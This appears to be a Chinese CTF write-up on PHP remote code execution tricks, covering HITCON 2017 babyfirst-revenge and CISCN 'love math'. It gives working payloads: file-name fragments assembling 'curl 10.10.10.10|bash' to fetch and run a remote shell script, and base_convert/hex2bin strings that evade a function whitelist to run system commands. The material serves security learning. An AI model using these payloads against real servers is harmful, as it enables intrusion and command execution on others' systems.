1、限制长度的RCE

HITCON 2017 babyfirst-revenge为例,源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

源码很容易看,就限制长度嘛,干就完了。

这里需要了解到一个Linux的小知识:>file 命令可以创建一个名为file的文件 ls -t <file 会将ls的结果写入file文件

据此我们可以通过创建文件–>输出文件列表–>sh 执行的步骤进行RCE

这里还有一个小问题需要注意,在PHP中,ls的排序方式和Linux不太一样,PHP中特殊字符在字母之前。所以如果按照正常的顺序构造“ls -t>y”的话,执行顺序就跟我们想象的不太一样了。

所以我们要先将ls写入之后确保ls在最前面执行。

如下

1
2
3
4
5
6
7
# generate `ls -t>y` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>y',
'ls>>_',

然后就是利用阶段,因为 ls -t是按照键入的顺序从最后到最前,所以需要将命令倒序破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# generate 'curl 10.10.10.10|bash'
'>sh ',
'>ba\',
'>|\',
'>10\',
'>10.\',
'>10.\',
'>0.\',
'>1\',
'> \',
'>rl\',
'>cu\',

# exec
'sh _',
'sh y',

执行”_”文件使弹shell的命令写入y文件,然后再执行y文件,成功getshell

参考链接:

https://www.zhihu.com/question/273928679

https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html

2、利用数学函数的RCE

PHP中比较经典的利用数学函数RCE的题目有CISCN中的“love math”

在这里复现一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

源码很简单,就白名单bypass,干就完了。

在白名单中我们看到一个PHP中十分亮眼的函数base_convert,这个函数可以在任意的进制之间转换数字。有了这个函数,意味着我们就可以随意用36进制转换来构造任意的函数以达成我们的目的。

getshell的方法有很多,我们用其中一种,即GET方法getshell。首先我们要构造出_GET,因为要大写,所以不能用base_convert直接构造,我们用hex2bin转换一下,这个函数不在白名单中,可以用base_convert得到,即:

base_ convert(37907361743,10,36) => “hex2bin”

dechex(1598506324) => “5f474554”

$pi=hex2bin(“5f474554”) => $pi=”_GET” //hex2bin将 - -串16进制数转换为二进制字符串

($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

即可getflag

这里还有另外一个方法,是在看另外一个大佬的文章时学到的,PHP有一个**getallheaders()**函数,这个函数可以获得HTTP头部信息,所以我们可以将命令放在header中,然后构造出getallheaders()函数来执行。

base_ convert( 696468,10,36) =>’exec’

$pi(8768397090111664438,10,30) =>”getallheaders”

exec( getallheaders(){1})

header中:1:cat /flag

或者嫌麻烦,直接构造一把梭也行

//exec( ‘ hex2bin( dechex( 109270211257898))’) => exec(‘cat f*’)

($pi=base_ convert)(22950 ,23,34)($pi(76478043844 , 9 ,34)( dechex(109270211257898)))

//system( ‘cat’.dechex(16)^asinh^pi) => system(‘cat *’)

base_convert(1751504350 , 10 ,36)( base_ convert( 15941, 10,36). (dechex( 16)^asinh^pi))

3、无数字RCE

ByteCTF2019里面有一道只使用函数名的RCE,直接康淘宝师傅的文章:

http://0xdktb.top/2019/10/22/ByteCTF2019-boring-code/